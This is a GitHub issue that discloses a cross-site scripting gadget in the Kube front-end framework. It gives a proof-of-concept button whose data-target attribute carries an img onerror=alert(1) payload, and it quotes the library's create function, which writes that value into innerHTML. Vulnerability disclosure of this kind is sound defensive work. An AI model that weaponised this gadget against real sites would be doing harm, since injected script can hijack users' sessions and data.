Skip to content
This repository has been archived by the owner on Jun 24, 2022. It is now read-only.

XSS Gadget in kubeframework #143

Open
Tyaoo opened this issue Sep 11, 2021 · 0 comments
Open

XSS Gadget in kubeframework #143

Tyaoo opened this issue Sep 11, 2021 · 0 comments

Comments

@Tyaoo
Copy link

Tyaoo commented Sep 11, 2021

The injection point of the XSS Gadget is attribute data-target.

<button data-target="&lt;img src onerror=alert(1)&gt;" data-kube="alert">xss</button>
<script src="kube/dist/js/kube.js"></script>
<script>
    $K.init();
</script>

And the related code is below:

    create: function(html)
    {
        if (/^<(\w+)\s*\/?>(?:<\/\1>|)$/.test(html))
        {
            return [document.createElement(RegExp.$1)];
        }

        var elements = [];
        var container = document.createElement('div');
        var children = container.childNodes;

        container.innerHTML = html; // Here is the sink

        for (var i = 0, l = children.length; i < l; i++)
        {
            elements.push(children[i]);
        }

        return elements;
    }
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant